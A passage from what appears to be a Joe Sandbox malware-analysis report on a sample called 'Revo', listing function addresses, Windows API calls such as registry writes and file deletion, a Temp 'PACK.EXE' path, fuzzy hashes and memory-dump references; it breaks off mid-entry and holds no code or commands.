Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8001648312b76757b4dc2f3646509216fc345bf83ee85411accbee75f523ad1d
Instruction ID: 24c32228aea39238aae05165091b6f794a4b9b1c66cd55bc1afee76a19a4bada
Opcode Fuzzy Hash: 8001648312b76757b4dc2f3646509216fc345bf83ee85411accbee75f523ad1d
Instruction Fuzzy Hash: 10A14471E04228DBDF28CFA8C8446ADBBB1FF44305F14856ED856BB281C7786A86DF45

Function 004073F6 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2384488d3f0122d52eec19d06177794e899fdfc3e1a025a719282f78321e7206
Instruction ID: b8cb9ce97df986fef79018f719ec18ee870a51f75f9c549f23c9243a2682c43e
Opcode Fuzzy Hash: 2384488d3f0122d52eec19d06177794e899fdfc3e1a025a719282f78321e7206
Instruction Fuzzy Hash: 48912370D04228CBDF28CF98C8947ADBBB1FF44305F14856AD856BB291C778A986DF45

Function 0040710C Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b0d047e0c308e0b5114cd8a4e3873cb63df72f9853a9642e586e78b8cecf79
Instruction ID: 4da454054b0c3dd02772a9c96e50ae6a11cdbe5b18e0bc5540401a1e7d1606fc
Opcode Fuzzy Hash: 27b0d047e0c308e0b5114cd8a4e3873cb63df72f9853a9642e586e78b8cecf79
Instruction Fuzzy Hash: E4813471D04228DBDF24CFA8C8847ADBBB1FF45305F24816AD456BB281C778AA86DF45

Function 00406C11 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f111ab4920ac525fdea371edc0372209efebd88f4f49b64d61f26737748280a
Instruction ID: a75c210e76fb72c91da92bd055febaaadf45c37f1dc492509737fdaa257f63d6
Opcode Fuzzy Hash: 4f111ab4920ac525fdea371edc0372209efebd88f4f49b64d61f26737748280a
Instruction Fuzzy Hash: 2D817731D04228DBDF24CFA8C844BADBBB1FF44315F20856AD856BB281C7796A86DF45

Function 0040705F Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6308170f34cf48dfcb4d8f9c09bb4bb9b1200d68288f83770d90fe7aa59a96
Instruction ID: 2ce83fc52b21f36f835e1fdafd5cf74e6ced0850754c4da96a209bb8fab2d9ce
Opcode Fuzzy Hash: eb6308170f34cf48dfcb4d8f9c09bb4bb9b1200d68288f83770d90fe7aa59a96
Instruction Fuzzy Hash: 11712471D04228DBDF28CFA8C8847ADBBB1FF48305F15806AD856B7281C778A986DF55

Function 0040717D Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35efb6cfb69a5e3ac5770c17f23e35896c35ba4500d931508133f68803cc17e7
Instruction ID: eaca5e257ecba6057ed761995cb39389c4d8ec983a179070fe5d03b82c062b57
Opcode Fuzzy Hash: 35efb6cfb69a5e3ac5770c17f23e35896c35ba4500d931508133f68803cc17e7
Instruction Fuzzy Hash: BF713671E04218DBDF28CFA8C884BADBBB1FF44305F14806AD856BB281C7786986DF55

Function 004070C9 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7222321010e346b35687484556753c48e929d86f13e87db132154ce9d598b8
Instruction ID: 26522df2f7fda751442351ae768cbf4c3b612a3e7fb567ef5040218afec9c9a0
Opcode Fuzzy Hash: 3a7222321010e346b35687484556753c48e929d86f13e87db132154ce9d598b8
Instruction Fuzzy Hash: CB713771D04228DBEF28CF98C8447ADBBB1FF44305F15806AD856B7281C778A946DF45

Function 00401BC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(0B240048), ref: 00401C30
GlobalAlloc.KERNEL32(00000040,00004004), ref: 00401C42

Strings

C:\Users\user\AppData\Local\Temp\PACK.EXE, xrefs: 00401BE7, 00401BED, 00401C07

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Global$AllocFree
String ID: C:\Users\user\AppData\Local\Temp\PACK.EXE
API String ID: 3394109436-3974614470
Opcode ID: 189f3b68e03b00a9a17d4d6b4d599ebfe199962089991dc822aa892377f91a7d
Instruction ID: 411326a6bd5adc799c7b4966fae4248b5e735fb78bdcb674ef76145c70810545
Opcode Fuzzy Hash: 189f3b68e03b00a9a17d4d6b4d599ebfe199962089991dc822aa892377f91a7d
Instruction Fuzzy Hash: 7D210572A04150ABEB20EFA5DD9599E73A8AF14314714483FFA52F36D0C67C9C908B1D

Function 004024AF Relevance: 4.6, APIs: 3, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004125F8,00000023,00000011,00000002), ref: 004024FA
RegSetValueExW.KERNEL32(?,?,?,?,004125F8,00000000,00000011,00000002), ref: 0040253A
RegCloseKey.KERNEL32(?,?,?,004125F8,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseValuelstrlen
String ID:
API String ID: 2655323295-0
Opcode ID: 939629d39815d1f7589cc98f3e393975f956bfb37faaf682d558e85f3089568e
Instruction ID: 68b8ec3bea957dba5bf8d8436be9304697fc99dec5cd95401ddbf8672b0cd889
Opcode Fuzzy Hash: 939629d39815d1f7589cc98f3e393975f956bfb37faaf682d558e85f3089568e
Instruction Fuzzy Hash: D2118431D00114BEEB10AFA5DE9AEAEB6B4AF44318F21443FF504F71D1D7B98E419628

Function 00402324 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004069FF: FindFirstFileW.KERNEL32(74DF3420,0045A798,00456750,004060C2,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 00406A0A
Part of subcall function 004069FF: FindClose.KERNEL32(00000000), ref: 00406A16

lstrlenW.KERNEL32 ref: 00402364
lstrlenW.KERNEL32(00000000), ref: 0040236F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402398

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 9995d0a3bc1ec283eb6257e663bd8360bd446cd403340e99a1a70e618ed02212
Instruction ID: 7cef90a7dc384cf9c97021313212113070c2cd8574a9969a0abcfcfa4bc01db0
Opcode Fuzzy Hash: 9995d0a3bc1ec283eb6257e663bd8360bd446cd403340e99a1a70e618ed02212
Instruction Fuzzy Hash: 34113371914314D6DB10EFF98A4A59EB6BCAF04354F20443FA405F72D1D7B8C5418B59

Function 004025C3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,00001FFF), ref: 004025F6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402609
RegCloseKey.KERNEL32(?,?,?,004125F8,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: ef84c1a1fe8b1ff10c5e784e766aa331886d34ef38f0b3ab15ccb812864dae0e
Instruction ID: ea3426adfb46afa29bf0fe74194f181189cf54c37864792d4d89e05057fb708c
Opcode Fuzzy Hash: ef84c1a1fe8b1ff10c5e784e766aa331886d34ef38f0b3ab15ccb812864dae0e
Instruction Fuzzy Hash: 4901DF71A00205BBEB149F94DE98AAFB678FF80308F10443EF001B21D0D7B84E01976D

Function 00405D66 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040616D: GetFileAttributesW.KERNEL32(?,?,00405D72,?,?,00000000,00405F48,?,?,?,?), ref: 00406172
Part of subcall function 0040616D: SetFileAttributesW.KERNEL32(?,00000000), ref: 00406186

RemoveDirectoryW.KERNEL32(?,?,?,00000000,00405F48), ref: 00405D81
DeleteFileW.KERNEL32(?,?,?,00000000,00405F48), ref: 00405D89
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405DA1

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: dd2cb9d4d09abd673c60ba1604a9489d115b5ba734863609cc63878b625e133a
Instruction ID: 230036c29a26c5c6c0f0d9698206584c8b05a9663c1b6bdb31d330f7893cafd1
Opcode Fuzzy Hash: dd2cb9d4d09abd673c60ba1604a9489d115b5ba734863609cc63878b625e133a
Instruction Fuzzy Hash: A6E065312156915AC35057759E0CA6B2A98DFC6724F15893BF892F11D0CB7C884A8A6D

Function 00406B41 Relevance: 4.5, APIs: 3, Instructions: 27synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 00406B52
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406B67
GetExitCodeProcess.KERNEL32(?,?), ref: 00406B74

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: 8ff07581d1a9b179a96ae9e6ed15c74e4a8339333c72220da53f642c9193dd0c
Instruction ID: 0a43b9f96fb2b6b0c204ab13ec475b47687dff995c0faea4a1be46f6685e1a01
Opcode Fuzzy Hash: 8ff07581d1a9b179a96ae9e6ed15c74e4a8339333c72220da53f642c9193dd0c
Instruction Fuzzy Hash: AFE09271600218BBDB00AB54CD01EDE7B6ADB45700F104036B601B6190D6B5AE62DA98

Function 004045FA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000408,?,00000000,00404259), ref: 00404618

Strings

x, xrefs: 004045FA

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend
String ID: x
API String ID: 3850602802-2363233923
Opcode ID: 6310f7611cc1ccfcf56369dd3329cceb302aac59914c28262eb7105b2c2a6a3a
Instruction ID: 02f239cb91824dfe0454512e4452fc65e03e49c46eb4308609c978d489441530
Opcode Fuzzy Hash: 6310f7611cc1ccfcf56369dd3329cceb302aac59914c28262eb7105b2c2a6a3a
Instruction Fuzzy Hash: 8EC01271684200ABCA005B81EE00F177B20B7A5B02F20C87AF380200B096B6A461DB1E

Function 00403396 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00008001,00000000,00000000,00000000,00000000,?,?,00403342,000000FF,00000000,00000000,00008001,?), ref: 004033BB

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a5b36690e1ac02c72154c1ce5afa4b759e3a614c42b0341cc97078f1712af449
Instruction ID: 1ca1e87bffa477aecce4b8809d13608721b46e5c52e0656af2305a29f618206d
Opcode Fuzzy Hash: a5b36690e1ac02c72154c1ce5afa4b759e3a614c42b0341cc97078f1712af449
Instruction Fuzzy Hash: E9317F30504219BBDB12DF55EE85A9E3FA8EB00359F10443BF905FA190D2788A509BA9

Function 004015E6 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0040601C: CharNextW.USER32(?,?,00456750,?,00406090,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0,004BD000), ref: 0040602A
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 0040602F
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 00406047

GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 0040163F

Part of subcall function 00405BF6: CreateDirectoryW.KERNEL32(00481000,?), ref: 00405C38

SetCurrentDirectoryW.KERNEL32(?,004C5000,?,00000000,000000F0), ref: 00401672

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 95617658206366d970ee8daf205e3d31f177179551792a2a17772dbb13571d5c
Instruction ID: 984bc8847ab7730807188d0ae4260eaffd58af59862b83f9ec54611d8a9cde38
Opcode Fuzzy Hash: 95617658206366d970ee8daf205e3d31f177179551792a2a17772dbb13571d5c
Instruction Fuzzy Hash: 0B11C431504514EBDF20AFA5CD4169F36A0EF14368B29493FF942B22F1D63E8981DA5E

Function 0040254F Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402580
RegCloseKey.KERNEL32(?,?,?,004125F8,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 1c769ba05c80f99646182a67dd2a9d7b609c2e0eeef89cc1e8ace76a876f498b
Instruction ID: 1ca5a891072309ee4d57d6c386aa99eedf8583e79045272cabd10b8210a2a1fd
Opcode Fuzzy Hash: 1c769ba05c80f99646182a67dd2a9d7b609c2e0eeef89cc1e8ace76a876f498b
Instruction Fuzzy Hash: 3311C171904206EADF15DFA0DA585AE7774FF04348F20443FE802B62D0D3B84A41DB5D

Function 00401F37 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

